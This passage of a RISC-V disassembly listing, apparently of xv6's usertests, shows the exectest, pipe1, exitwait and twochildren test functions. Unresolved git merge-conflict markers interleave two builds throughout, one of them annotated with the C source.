14ea: 0d278793 addi a5,a5,210 # 65b8 <l_free+0xb52>
14ee: fcf43423 sd a5,-56(s0)
14f2: fc043823 sd zero,-48(s0)
unlink("echo-ok");
14f6: 00005517 auipc a0,0x5
14fa: 0ca50513 addi a0,a0,202 # 65c0 <l_free+0xb5a>
14fe: 00004097 auipc ra,0x4
1502: 01e080e7 jalr 30(ra) # 551c <unlink>
pid = fork();
1506: 00004097 auipc ra,0x4
150a: fbe080e7 jalr -66(ra) # 54c4 <fork>
if (pid < 0) {
150e: 04054663 bltz a0,155a <exectest+0x8e>
1512: 84aa mv s1,a0
if (pid == 0) {
1514: e959 bnez a0,15aa <exectest+0xde>
close(1);
1516: 4505 li a0,1
1518: 00004097 auipc ra,0x4
151c: fdc080e7 jalr -36(ra) # 54f4 <close>
fd = open("echo-ok", O_CREATE | O_WRONLY);
1520: 20100593 li a1,513
1524: 00005517 auipc a0,0x5
1528: 09c50513 addi a0,a0,156 # 65c0 <l_free+0xb5a>
152c: 00004097 auipc ra,0x4
1530: fe0080e7 jalr -32(ra) # 550c <open>
if (fd < 0) {
1534: 04054163 bltz a0,1576 <exectest+0xaa>
if (fd != 1) {
1538: 4785 li a5,1
153a: 04f50c63 beq a0,a5,1592 <exectest+0xc6>
printf("%s: wrong fd\n", s);
153e: 85ca mv a1,s2
1540: 00005517 auipc a0,0x5
1544: 0a050513 addi a0,a0,160 # 65e0 <l_free+0xb7a>
1548: 00004097 auipc ra,0x4
154c: 2fc080e7 jalr 764(ra) # 5844 <printf>
exit(1);
1550: 4505 li a0,1
1552: 00004097 auipc ra,0x4
1556: f7a080e7 jalr -134(ra) # 54cc <exit>
printf("%s: fork failed\n", s);
155a: 85ca mv a1,s2
155c: 00005517 auipc a0,0x5
1560: fd450513 addi a0,a0,-44 # 6530 <l_free+0xaca>
1564: 00004097 auipc ra,0x4
1568: 2e0080e7 jalr 736(ra) # 5844 <printf>
exit(1);
156c: 4505 li a0,1
156e: 00004097 auipc ra,0x4
1572: f5e080e7 jalr -162(ra) # 54cc <exit>
printf("%s: create failed\n", s);
1576: 85ca mv a1,s2
1578: 00005517 auipc a0,0x5
157c: 05050513 addi a0,a0,80 # 65c8 <l_free+0xb62>
1580: 00004097 auipc ra,0x4
1584: 2c4080e7 jalr 708(ra) # 5844 <printf>
exit(1);
1588: 4505 li a0,1
158a: 00004097 auipc ra,0x4
158e: f42080e7 jalr -190(ra) # 54cc <exit>
if (exec("echo", echoargv) < 0) {
1592: fc040593 addi a1,s0,-64
1596: 00005517 auipc a0,0x5
159a: 82250513 addi a0,a0,-2014 # 5db8 <l_free+0x352>
159e: 00004097 auipc ra,0x4
15a2: f66080e7 jalr -154(ra) # 5504 <exec>
15a6: 02054163 bltz a0,15c8 <exectest+0xfc>
if (wait(&xstatus) != pid) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
15aa: fdc40513 addi a0,s0,-36
15ae: 00004097 auipc ra,0x4
15b2: f26080e7 jalr -218(ra) # 54d4 <wait>
15b6: 02951763 bne a0,s1,15e4 <exectest+0x118>
<<<<<<< HEAD
15ba: fdc42503 lw a0,-36(s0)
15be: cd0d beqz a0,15f8 <exectest+0x12c>
15c0: 00004097 auipc ra,0x4
15c4: f0c080e7 jalr -244(ra) # 54cc <exit>
15c8: 85ca mv a1,s2
15ca: 00005517 auipc a0,0x5
15ce: 02650513 addi a0,a0,38 # 65f0 <l_free+0xb88>
15d2: 00004097 auipc ra,0x4
15d6: 274080e7 jalr 628(ra) # 5846 <printf>
15da: 4505 li a0,1
15dc: 00004097 auipc ra,0x4
15e0: ef0080e7 jalr -272(ra) # 54cc <exit>
15e4: 85ca mv a1,s2
15e6: 00005517 auipc a0,0x5
15ea: 02250513 addi a0,a0,34 # 6608 <l_free+0xba0>
15ee: 00004097 auipc ra,0x4
15f2: 258080e7 jalr 600(ra) # 5846 <printf>
15f6: b7d1 j 15ba <exectest+0xee>
15f8: 4581 li a1,0
15fa: 00005517 auipc a0,0x5
15fe: fc650513 addi a0,a0,-58 # 65c0 <l_free+0xb58>
1602: 00004097 auipc ra,0x4
1606: f0a080e7 jalr -246(ra) # 550c <open>
160a: 02054a63 bltz a0,163e <exectest+0x172>
=======
if (xstatus != 0)
15ba: fdc42503 lw a0,-36(s0)
15be: cd0d beqz a0,15f8 <exectest+0x12c>
exit(xstatus);
15c0: 00004097 auipc ra,0x4
15c4: f0c080e7 jalr -244(ra) # 54cc <exit>
printf("%s: exec echo failed\n", s);
15c8: 85ca mv a1,s2
15ca: 00005517 auipc a0,0x5
15ce: 02650513 addi a0,a0,38 # 65f0 <l_free+0xb8a>
15d2: 00004097 auipc ra,0x4
15d6: 272080e7 jalr 626(ra) # 5844 <printf>
exit(1);
15da: 4505 li a0,1
15dc: 00004097 auipc ra,0x4
15e0: ef0080e7 jalr -272(ra) # 54cc <exit>
printf("%s: wait failed!\n", s);
15e4: 85ca mv a1,s2
15e6: 00005517 auipc a0,0x5
15ea: 02250513 addi a0,a0,34 # 6608 <l_free+0xba2>
15ee: 00004097 auipc ra,0x4
15f2: 256080e7 jalr 598(ra) # 5844 <printf>
15f6: b7d1 j 15ba <exectest+0xee>
fd = open("echo-ok", O_RDONLY);
15f8: 4581 li a1,0
15fa: 00005517 auipc a0,0x5
15fe: fc650513 addi a0,a0,-58 # 65c0 <l_free+0xb5a>
1602: 00004097 auipc ra,0x4
1606: f0a080e7 jalr -246(ra) # 550c <open>
if (fd < 0) {
160a: 02054a63 bltz a0,163e <exectest+0x172>
if (read(fd, buf, 2) != 2) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
160e: 4609 li a2,2
1610: fb840593 addi a1,s0,-72
1614: 00004097 auipc ra,0x4
1618: ed0080e7 jalr -304(ra) # 54e4 <read>
161c: 4789 li a5,2
161e: 02f50e63 beq a0,a5,165a <exectest+0x18e>
<<<<<<< HEAD
1622: 85ca mv a1,s2
1624: 00005517 auipc a0,0x5
1628: b5450513 addi a0,a0,-1196 # 6178 <l_free+0x710>
162c: 00004097 auipc ra,0x4
1630: 21a080e7 jalr 538(ra) # 5846 <printf>
1634: 4505 li a0,1
1636: 00004097 auipc ra,0x4
163a: e96080e7 jalr -362(ra) # 54cc <exit>
163e: 85ca mv a1,s2
1640: 00005517 auipc a0,0x5
1644: f0850513 addi a0,a0,-248 # 6548 <l_free+0xae0>
1648: 00004097 auipc ra,0x4
164c: 1fe080e7 jalr 510(ra) # 5846 <printf>
1650: 4505 li a0,1
1652: 00004097 auipc ra,0x4
1656: e7a080e7 jalr -390(ra) # 54cc <exit>
165a: 00005517 auipc a0,0x5
165e: f6650513 addi a0,a0,-154 # 65c0 <l_free+0xb58>
1662: 00004097 auipc ra,0x4
1666: eba080e7 jalr -326(ra) # 551c <unlink>
=======
printf("%s: read failed\n", s);
1622: 85ca mv a1,s2
1624: 00005517 auipc a0,0x5
1628: b5450513 addi a0,a0,-1196 # 6178 <l_free+0x712>
162c: 00004097 auipc ra,0x4
1630: 218080e7 jalr 536(ra) # 5844 <printf>
exit(1);
1634: 4505 li a0,1
1636: 00004097 auipc ra,0x4
163a: e96080e7 jalr -362(ra) # 54cc <exit>
printf("%s: open failed\n", s);
163e: 85ca mv a1,s2
1640: 00005517 auipc a0,0x5
1644: f0850513 addi a0,a0,-248 # 6548 <l_free+0xae2>
1648: 00004097 auipc ra,0x4
164c: 1fc080e7 jalr 508(ra) # 5844 <printf>
exit(1);
1650: 4505 li a0,1
1652: 00004097 auipc ra,0x4
1656: e7a080e7 jalr -390(ra) # 54cc <exit>
unlink("echo-ok");
165a: 00005517 auipc a0,0x5
165e: f6650513 addi a0,a0,-154 # 65c0 <l_free+0xb5a>
1662: 00004097 auipc ra,0x4
1666: eba080e7 jalr -326(ra) # 551c <unlink>
if (buf[0] == 'O' && buf[1] == 'K')
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
166a: fb844703 lbu a4,-72(s0)
166e: 04f00793 li a5,79
1672: 00f71863 bne a4,a5,1682 <exectest+0x1b6>
1676: fb944703 lbu a4,-71(s0)
167a: 04b00793 li a5,75
167e: 02f70063 beq a4,a5,169e <exectest+0x1d2>
<<<<<<< HEAD
1682: 85ca mv a1,s2
1684: 00005517 auipc a0,0x5
1688: f9c50513 addi a0,a0,-100 # 6620 <l_free+0xbb8>
168c: 00004097 auipc ra,0x4
1690: 1ba080e7 jalr 442(ra) # 5846 <printf>
1694: 4505 li a0,1
1696: 00004097 auipc ra,0x4
169a: e36080e7 jalr -458(ra) # 54cc <exit>
=======
printf("%s: wrong output\n", s);
1682: 85ca mv a1,s2
1684: 00005517 auipc a0,0x5
1688: f9c50513 addi a0,a0,-100 # 6620 <l_free+0xbba>
168c: 00004097 auipc ra,0x4
1690: 1b8080e7 jalr 440(ra) # 5844 <printf>
exit(1);
1694: 4505 li a0,1
1696: 00004097 auipc ra,0x4
169a: e36080e7 jalr -458(ra) # 54cc <exit>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
169e: 4501 li a0,0
16a0: 00004097 auipc ra,0x4
16a4: e2c080e7 jalr -468(ra) # 54cc <exit>
00000000000016a8 <pipe1>:
<<<<<<< HEAD
=======
void pipe1(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
16a8: 711d addi sp,sp,-96
16aa: ec86 sd ra,88(sp)
16ac: e8a2 sd s0,80(sp)
16ae: e4a6 sd s1,72(sp)
16b0: e0ca sd s2,64(sp)
16b2: fc4e sd s3,56(sp)
16b4: f852 sd s4,48(sp)
16b6: f456 sd s5,40(sp)
16b8: f05a sd s6,32(sp)
16ba: ec5e sd s7,24(sp)
16bc: 1080 addi s0,sp,96
16be: 892a mv s2,a0
<<<<<<< HEAD
=======
if (pipe(fds) != 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
16c0: fa840513 addi a0,s0,-88
16c4: 00004097 auipc ra,0x4
16c8: e18080e7 jalr -488(ra) # 54dc <pipe>
16cc: ed25 bnez a0,1744 <pipe1+0x9c>
16ce: 84aa mv s1,a0
<<<<<<< HEAD
16d0: 00004097 auipc ra,0x4
16d4: df4080e7 jalr -524(ra) # 54c4 <fork>
16d8: 8a2a mv s4,a0
16da: c159 beqz a0,1760 <pipe1+0xb8>
16dc: 16a05e63 blez a0,1858 <pipe1+0x1b0>
16e0: fac42503 lw a0,-84(s0)
16e4: 00004097 auipc ra,0x4
16e8: e10080e7 jalr -496(ra) # 54f4 <close>
16ec: 8a26 mv s4,s1
16ee: 4985 li s3,1
16f0: 0000aa97 auipc s5,0xa
16f4: 320a8a93 addi s5,s5,800 # ba10 <buf>
16f8: 6b0d lui s6,0x3
=======
pid = fork();
16d0: 00004097 auipc ra,0x4
16d4: df4080e7 jalr -524(ra) # 54c4 <fork>
16d8: 8a2a mv s4,a0
if (pid == 0) {
16da: c159 beqz a0,1760 <pipe1+0xb8>
} else if (pid > 0) {
16dc: 16a05e63 blez a0,1858 <pipe1+0x1b0>
close(fds[1]);
16e0: fac42503 lw a0,-84(s0)
16e4: 00004097 auipc ra,0x4
16e8: e10080e7 jalr -496(ra) # 54f4 <close>
total = 0;
16ec: 8a26 mv s4,s1
cc = 1;
16ee: 4985 li s3,1
while ((n = read(fds[0], buf, cc)) > 0) {
16f0: 0000aa97 auipc s5,0xa
16f4: 2c8a8a93 addi s5,s5,712 # b9b8 <buf>
if (cc > sizeof(buf))
16f8: 6b0d lui s6,0x3
while ((n = read(fds[0], buf, cc)) > 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
16fa: 864e mv a2,s3
16fc: 85d6 mv a1,s5
16fe: fa842503 lw a0,-88(s0)
1702: 00004097 auipc ra,0x4
1706: de2080e7 jalr -542(ra) # 54e4 <read>
170a: 10a05263 blez a0,180e <pipe1+0x166>
<<<<<<< HEAD
170e: 0000a717 auipc a4,0xa
1712: 30270713 addi a4,a4,770 # ba10 <buf>
1716: 00a4863b addw a2,s1,a0
171a: 00074683 lbu a3,0(a4)
171e: 0ff4f793 zext.b a5,s1
1722: 2485 addiw s1,s1,1
1724: 0cf69163 bne a3,a5,17e6 <pipe1+0x13e>
1728: 0705 addi a4,a4,1
172a: fec498e3 bne s1,a2,171a <pipe1+0x72>
172e: 00aa0a3b addw s4,s4,a0
1732: 0019979b slliw a5,s3,0x1
1736: 0007899b sext.w s3,a5
173a: 013b7363 bgeu s6,s3,1740 <pipe1+0x98>
173e: 89da mv s3,s6
1740: 84b2 mv s1,a2
1742: bf65 j 16fa <pipe1+0x52>
1744: 85ca mv a1,s2
1746: 00005517 auipc a0,0x5
174a: ef250513 addi a0,a0,-270 # 6638 <l_free+0xbd0>
174e: 00004097 auipc ra,0x4
1752: 0f8080e7 jalr 248(ra) # 5846 <printf>
1756: 4505 li a0,1
1758: 00004097 auipc ra,0x4
175c: d74080e7 jalr -652(ra) # 54cc <exit>
1760: fa842503 lw a0,-88(s0)
1764: 00004097 auipc ra,0x4
1768: d90080e7 jalr -624(ra) # 54f4 <close>
176c: 0000ab17 auipc s6,0xa
1770: 2a4b0b13 addi s6,s6,676 # ba10 <buf>
1774: 416004bb negw s1,s6
1778: 0ff4f493 zext.b s1,s1
177c: 409b0993 addi s3,s6,1033
1780: 8bda mv s7,s6
1782: 6a85 lui s5,0x1
1784: 42da8a93 addi s5,s5,1069 # 142d <truncate3+0x11b>
1788: 87da mv a5,s6
178a: 0097873b addw a4,a5,s1
178e: 00e78023 sb a4,0(a5)
1792: 0785 addi a5,a5,1
1794: fef99be3 bne s3,a5,178a <pipe1+0xe2>
1798: 409a0a1b addiw s4,s4,1033
=======
for (i = 0; i < n; i++) {
170e: 0000a717 auipc a4,0xa
1712: 2aa70713 addi a4,a4,682 # b9b8 <buf>
1716: 00a4863b addw a2,s1,a0
if ((buf[i] & 0xff) != (seq++ & 0xff)) {
171a: 00074683 lbu a3,0(a4)
171e: 0ff4f793 andi a5,s1,255
1722: 2485 addiw s1,s1,1
1724: 0cf69163 bne a3,a5,17e6 <pipe1+0x13e>
for (i = 0; i < n; i++) {
1728: 0705 addi a4,a4,1
172a: fec498e3 bne s1,a2,171a <pipe1+0x72>
total += n;
172e: 00aa0a3b addw s4,s4,a0
cc = cc * 2;
1732: 0019979b slliw a5,s3,0x1
1736: 0007899b sext.w s3,a5
if (cc > sizeof(buf))
173a: 013b7363 bgeu s6,s3,1740 <pipe1+0x98>
cc = sizeof(buf);
173e: 89da mv s3,s6
if ((buf[i] & 0xff) != (seq++ & 0xff)) {
1740: 84b2 mv s1,a2
1742: bf65 j 16fa <pipe1+0x52>
printf("%s: pipe() failed\n", s);
1744: 85ca mv a1,s2
1746: 00005517 auipc a0,0x5
174a: ef250513 addi a0,a0,-270 # 6638 <l_free+0xbd2>
174e: 00004097 auipc ra,0x4
1752: 0f6080e7 jalr 246(ra) # 5844 <printf>
exit(1);
1756: 4505 li a0,1
1758: 00004097 auipc ra,0x4
175c: d74080e7 jalr -652(ra) # 54cc <exit>
close(fds[0]);
1760: fa842503 lw a0,-88(s0)
1764: 00004097 auipc ra,0x4
1768: d90080e7 jalr -624(ra) # 54f4 <close>
for (n = 0; n < N; n++) {
176c: 0000ab17 auipc s6,0xa
1770: 24cb0b13 addi s6,s6,588 # b9b8 <buf>
1774: 416004bb negw s1,s6
1778: 0ff4f493 andi s1,s1,255
177c: 409b0993 addi s3,s6,1033
if (write(fds[1], buf, SZ) != SZ) {
1780: 8bda mv s7,s6
for (n = 0; n < N; n++) {
1782: 6a85 lui s5,0x1
1784: 42da8a93 addi s5,s5,1069 # 142d <truncate3+0x11b>
void pipe1(char *s) {
1788: 87da mv a5,s6
buf[i] = seq++;
178a: 0097873b addw a4,a5,s1
178e: 00e78023 sb a4,0(a5)
for (i = 0; i < SZ; i++)
1792: 0785 addi a5,a5,1
1794: fef99be3 bne s3,a5,178a <pipe1+0xe2>
buf[i] = seq++;
1798: 409a0a1b addiw s4,s4,1033
if (write(fds[1], buf, SZ) != SZ) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
179c: 40900613 li a2,1033
17a0: 85de mv a1,s7
17a2: fac42503 lw a0,-84(s0)
17a6: 00004097 auipc ra,0x4
17aa: d46080e7 jalr -698(ra) # 54ec <write>
17ae: 40900793 li a5,1033
17b2: 00f51c63 bne a0,a5,17ca <pipe1+0x122>
<<<<<<< HEAD
17b6: 24a5 addiw s1,s1,9
17b8: 0ff4f493 zext.b s1,s1
17bc: fd5a16e3 bne s4,s5,1788 <pipe1+0xe0>
17c0: 4501 li a0,0
17c2: 00004097 auipc ra,0x4
17c6: d0a080e7 jalr -758(ra) # 54cc <exit>
17ca: 85ca mv a1,s2
17cc: 00005517 auipc a0,0x5
17d0: e8450513 addi a0,a0,-380 # 6650 <l_free+0xbe8>
17d4: 00004097 auipc ra,0x4
17d8: 072080e7 jalr 114(ra) # 5846 <printf>
17dc: 4505 li a0,1
17de: 00004097 auipc ra,0x4
17e2: cee080e7 jalr -786(ra) # 54cc <exit>
17e6: 85ca mv a1,s2
17e8: 00005517 auipc a0,0x5
17ec: e8050513 addi a0,a0,-384 # 6668 <l_free+0xc00>
17f0: 00004097 auipc ra,0x4
17f4: 056080e7 jalr 86(ra) # 5846 <printf>
=======
for (n = 0; n < N; n++) {
17b6: 24a5 addiw s1,s1,9
17b8: 0ff4f493 andi s1,s1,255
17bc: fd5a16e3 bne s4,s5,1788 <pipe1+0xe0>
exit(0);
17c0: 4501 li a0,0
17c2: 00004097 auipc ra,0x4
17c6: d0a080e7 jalr -758(ra) # 54cc <exit>
printf("%s: pipe1 oops 1\n", s);
17ca: 85ca mv a1,s2
17cc: 00005517 auipc a0,0x5
17d0: e8450513 addi a0,a0,-380 # 6650 <l_free+0xbea>
17d4: 00004097 auipc ra,0x4
17d8: 070080e7 jalr 112(ra) # 5844 <printf>
exit(1);
17dc: 4505 li a0,1
17de: 00004097 auipc ra,0x4
17e2: cee080e7 jalr -786(ra) # 54cc <exit>
printf("%s: pipe1 oops 2\n", s);
17e6: 85ca mv a1,s2
17e8: 00005517 auipc a0,0x5
17ec: e8050513 addi a0,a0,-384 # 6668 <l_free+0xc02>
17f0: 00004097 auipc ra,0x4
17f4: 054080e7 jalr 84(ra) # 5844 <printf>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
17f8: 60e6 ld ra,88(sp)
17fa: 6446 ld s0,80(sp)
17fc: 64a6 ld s1,72(sp)
17fe: 6906 ld s2,64(sp)
1800: 79e2 ld s3,56(sp)
1802: 7a42 ld s4,48(sp)
1804: 7aa2 ld s5,40(sp)
1806: 7b02 ld s6,32(sp)
1808: 6be2 ld s7,24(sp)
180a: 6125 addi sp,sp,96
180c: 8082 ret
<<<<<<< HEAD
180e: 6785 lui a5,0x1
1810: 42d78793 addi a5,a5,1069 # 142d <truncate3+0x11b>
1814: 02fa0063 beq s4,a5,1834 <pipe1+0x18c>
1818: 85d2 mv a1,s4
181a: 00005517 auipc a0,0x5
181e: e6650513 addi a0,a0,-410 # 6680 <l_free+0xc18>
1822: 00004097 auipc ra,0x4
1826: 024080e7 jalr 36(ra) # 5846 <printf>
182a: 4505 li a0,1
182c: 00004097 auipc ra,0x4
1830: ca0080e7 jalr -864(ra) # 54cc <exit>
1834: fa842503 lw a0,-88(s0)
1838: 00004097 auipc ra,0x4
183c: cbc080e7 jalr -836(ra) # 54f4 <close>
1840: fa440513 addi a0,s0,-92
1844: 00004097 auipc ra,0x4
1848: c90080e7 jalr -880(ra) # 54d4 <wait>
184c: fa442503 lw a0,-92(s0)
1850: 00004097 auipc ra,0x4
1854: c7c080e7 jalr -900(ra) # 54cc <exit>
1858: 85ca mv a1,s2
185a: 00005517 auipc a0,0x5
185e: e4650513 addi a0,a0,-442 # 66a0 <l_free+0xc38>
1862: 00004097 auipc ra,0x4
1866: fe4080e7 jalr -28(ra) # 5846 <printf>
=======
if (total != N * SZ) {
180e: 6785 lui a5,0x1
1810: 42d78793 addi a5,a5,1069 # 142d <truncate3+0x11b>
1814: 02fa0063 beq s4,a5,1834 <pipe1+0x18c>
printf("%s: pipe1 oops 3 total %d\n", total);
1818: 85d2 mv a1,s4
181a: 00005517 auipc a0,0x5
181e: e6650513 addi a0,a0,-410 # 6680 <l_free+0xc1a>
1822: 00004097 auipc ra,0x4
1826: 022080e7 jalr 34(ra) # 5844 <printf>
exit(1);
182a: 4505 li a0,1
182c: 00004097 auipc ra,0x4
1830: ca0080e7 jalr -864(ra) # 54cc <exit>
close(fds[0]);
1834: fa842503 lw a0,-88(s0)
1838: 00004097 auipc ra,0x4
183c: cbc080e7 jalr -836(ra) # 54f4 <close>
wait(&xstatus);
1840: fa440513 addi a0,s0,-92
1844: 00004097 auipc ra,0x4
1848: c90080e7 jalr -880(ra) # 54d4 <wait>
exit(xstatus);
184c: fa442503 lw a0,-92(s0)
1850: 00004097 auipc ra,0x4
1854: c7c080e7 jalr -900(ra) # 54cc <exit>
printf("%s: fork() failed\n", s);
1858: 85ca mv a1,s2
185a: 00005517 auipc a0,0x5
185e: e4650513 addi a0,a0,-442 # 66a0 <l_free+0xc3a>
1862: 00004097 auipc ra,0x4
1866: fe2080e7 jalr -30(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
186a: 4505 li a0,1
186c: 00004097 auipc ra,0x4
1870: c60080e7 jalr -928(ra) # 54cc <exit>
0000000000001874 <exitwait>:
<<<<<<< HEAD
=======
void exitwait(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1874: 7139 addi sp,sp,-64
1876: fc06 sd ra,56(sp)
1878: f822 sd s0,48(sp)
187a: f426 sd s1,40(sp)
187c: f04a sd s2,32(sp)
187e: ec4e sd s3,24(sp)
1880: e852 sd s4,16(sp)
1882: 0080 addi s0,sp,64
1884: 8a2a mv s4,a0
<<<<<<< HEAD
1886: 4901 li s2,0
1888: 06400993 li s3,100
188c: 00004097 auipc ra,0x4
1890: c38080e7 jalr -968(ra) # 54c4 <fork>
1894: 84aa mv s1,a0
1896: 02054a63 bltz a0,18ca <exitwait+0x56>
189a: c151 beqz a0,191e <exitwait+0xaa>
=======
for (i = 0; i < 100; i++) {
1886: 4901 li s2,0
1888: 06400993 li s3,100
pid = fork();
188c: 00004097 auipc ra,0x4
1890: c38080e7 jalr -968(ra) # 54c4 <fork>
1894: 84aa mv s1,a0
if (pid < 0) {
1896: 02054a63 bltz a0,18ca <exitwait+0x56>
if (pid) {
189a: c151 beqz a0,191e <exitwait+0xaa>
if (wait(&xstate) != pid) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
189c: fcc40513 addi a0,s0,-52
18a0: 00004097 auipc ra,0x4
18a4: c34080e7 jalr -972(ra) # 54d4 <wait>
18a8: 02951f63 bne a0,s1,18e6 <exitwait+0x72>
<<<<<<< HEAD
18ac: fcc42783 lw a5,-52(s0)
18b0: 05279963 bne a5,s2,1902 <exitwait+0x8e>
18b4: 2905 addiw s2,s2,1
18b6: fd391be3 bne s2,s3,188c <exitwait+0x18>
=======
if (i != xstate) {
18ac: fcc42783 lw a5,-52(s0)
18b0: 05279963 bne a5,s2,1902 <exitwait+0x8e>
for (i = 0; i < 100; i++) {
18b4: 2905 addiw s2,s2,1
18b6: fd391be3 bne s2,s3,188c <exitwait+0x18>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
18ba: 70e2 ld ra,56(sp)
18bc: 7442 ld s0,48(sp)
18be: 74a2 ld s1,40(sp)
18c0: 7902 ld s2,32(sp)
18c2: 69e2 ld s3,24(sp)
18c4: 6a42 ld s4,16(sp)
18c6: 6121 addi sp,sp,64
18c8: 8082 ret
<<<<<<< HEAD
18ca: 85d2 mv a1,s4
18cc: 00005517 auipc a0,0x5
18d0: c6450513 addi a0,a0,-924 # 6530 <l_free+0xac8>
18d4: 00004097 auipc ra,0x4
18d8: f72080e7 jalr -142(ra) # 5846 <printf>
18dc: 4505 li a0,1
18de: 00004097 auipc ra,0x4
18e2: bee080e7 jalr -1042(ra) # 54cc <exit>
18e6: 85d2 mv a1,s4
18e8: 00005517 auipc a0,0x5
18ec: dd050513 addi a0,a0,-560 # 66b8 <l_free+0xc50>
18f0: 00004097 auipc ra,0x4
18f4: f56080e7 jalr -170(ra) # 5846 <printf>
18f8: 4505 li a0,1
18fa: 00004097 auipc ra,0x4
18fe: bd2080e7 jalr -1070(ra) # 54cc <exit>
1902: 85d2 mv a1,s4
1904: 00005517 auipc a0,0x5
1908: dcc50513 addi a0,a0,-564 # 66d0 <l_free+0xc68>
190c: 00004097 auipc ra,0x4
1910: f3a080e7 jalr -198(ra) # 5846 <printf>
1914: 4505 li a0,1
1916: 00004097 auipc ra,0x4
191a: bb6080e7 jalr -1098(ra) # 54cc <exit>
=======
printf("%s: fork failed\n", s);
18ca: 85d2 mv a1,s4
18cc: 00005517 auipc a0,0x5
18d0: c6450513 addi a0,a0,-924 # 6530 <l_free+0xaca>
18d4: 00004097 auipc ra,0x4
18d8: f70080e7 jalr -144(ra) # 5844 <printf>
exit(1);
18dc: 4505 li a0,1
18de: 00004097 auipc ra,0x4
18e2: bee080e7 jalr -1042(ra) # 54cc <exit>
printf("%s: wait wrong pid\n", s);
18e6: 85d2 mv a1,s4
18e8: 00005517 auipc a0,0x5
18ec: dd050513 addi a0,a0,-560 # 66b8 <l_free+0xc52>
18f0: 00004097 auipc ra,0x4
18f4: f54080e7 jalr -172(ra) # 5844 <printf>
exit(1);
18f8: 4505 li a0,1
18fa: 00004097 auipc ra,0x4
18fe: bd2080e7 jalr -1070(ra) # 54cc <exit>
printf("%s: wait wrong exit status\n", s);
1902: 85d2 mv a1,s4
1904: 00005517 auipc a0,0x5
1908: dcc50513 addi a0,a0,-564 # 66d0 <l_free+0xc6a>
190c: 00004097 auipc ra,0x4
1910: f38080e7 jalr -200(ra) # 5844 <printf>
exit(1);
1914: 4505 li a0,1
1916: 00004097 auipc ra,0x4
191a: bb6080e7 jalr -1098(ra) # 54cc <exit>
exit(i);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
191e: 854a mv a0,s2
1920: 00004097 auipc ra,0x4
1924: bac080e7 jalr -1108(ra) # 54cc <exit>
0000000000001928 <twochildren>:
<<<<<<< HEAD
=======
void twochildren(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1928: 1101 addi sp,sp,-32
192a: ec06 sd ra,24(sp)
192c: e822 sd s0,16(sp)
192e: e426 sd s1,8(sp)
1930: e04a sd s2,0(sp)
1932: 1000 addi s0,sp,32
1934: 892a mv s2,a0
1936: 3e800493 li s1,1000
<<<<<<< HEAD
193a: 00004097 auipc ra,0x4
193e: b8a080e7 jalr -1142(ra) # 54c4 <fork>
1942: 02054c63 bltz a0,197a <twochildren+0x52>
1946: c921 beqz a0,1996 <twochildren+0x6e>
1948: 00004097 auipc ra,0x4
194c: b7c080e7 jalr -1156(ra) # 54c4 <fork>
1950: 04054763 bltz a0,199e <twochildren+0x76>
1954: c13d beqz a0,19ba <twochildren+0x92>
1956: 4501 li a0,0
1958: 00004097 auipc ra,0x4
195c: b7c080e7 jalr -1156(ra) # 54d4 <wait>
1960: 4501 li a0,0
1962: 00004097 auipc ra,0x4
1966: b72080e7 jalr -1166(ra) # 54d4 <wait>
196a: 34fd addiw s1,s1,-1
196c: f4f9 bnez s1,193a <twochildren+0x12>
=======
int pid1 = fork();
193a: 00004097 auipc ra,0x4
193e: b8a080e7 jalr -1142(ra) # 54c4 <fork>
if (pid1 < 0) {
1942: 02054c63 bltz a0,197a <twochildren+0x52>
if (pid1 == 0) {
1946: c921 beqz a0,1996 <twochildren+0x6e>
int pid2 = fork();
1948: 00004097 auipc ra,0x4
194c: b7c080e7 jalr -1156(ra) # 54c4 <fork>
if (pid2 < 0) {
1950: 04054763 bltz a0,199e <twochildren+0x76>
if (pid2 == 0) {
1954: c13d beqz a0,19ba <twochildren+0x92>
wait(0);
1956: 4501 li a0,0
1958: 00004097 auipc ra,0x4
195c: b7c080e7 jalr -1156(ra) # 54d4 <wait>
wait(0);
1960: 4501 li a0,0
1962: 00004097 auipc ra,0x4
1966: b72080e7 jalr -1166(ra) # 54d4 <wait>
for (int i = 0; i < 1000; i++) {
196a: 34fd addiw s1,s1,-1
196c: f4f9 bnez s1,193a <twochildren+0x12>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
196e: 60e2 ld ra,24(sp)
1970: 6442 ld s0,16(sp)
1972: 64a2 ld s1,8(sp)
1974: 6902 ld s2,0(sp)
1976: 6105 addi sp,sp,32
1978: 8082 ret
<<<<<<< HEAD
197a: 85ca mv a1,s2
197c: 00005517 auipc a0,0x5
1980: bb450513 addi a0,a0,-1100 # 6530 <l_free+0xac8>
1984: 00004097 auipc ra,0x4
1988: ec2080e7 jalr -318(ra) # 5846 <printf>
198c: 4505 li a0,1
198e: 00004097 auipc ra,0x4
1992: b3e080e7 jalr -1218(ra) # 54cc <exit>
1996: 00004097 auipc ra,0x4
199a: b36080e7 jalr -1226(ra) # 54cc <exit>
199e: 85ca mv a1,s2
19a0: 00005517 auipc a0,0x5
19a4: b9050513 addi a0,a0,-1136 # 6530 <l_free+0xac8>
19a8: 00004097 auipc ra,0x4
19ac: e9e080e7 jalr -354(ra) # 5846 <printf>
19b0: 4505 li a0,1
19b2: 00004097 auipc ra,0x4
19b6: b1a080e7 jalr -1254(ra) # 54cc <exit>
=======
printf("%s: fork failed\n", s);
197a: 85ca mv a1,s2
197c: 00005517 auipc a0,0x5
1980: bb450513 addi a0,a0,-1100 # 6530 <l_free+0xaca>
1984: 00004097 auipc ra,0x4
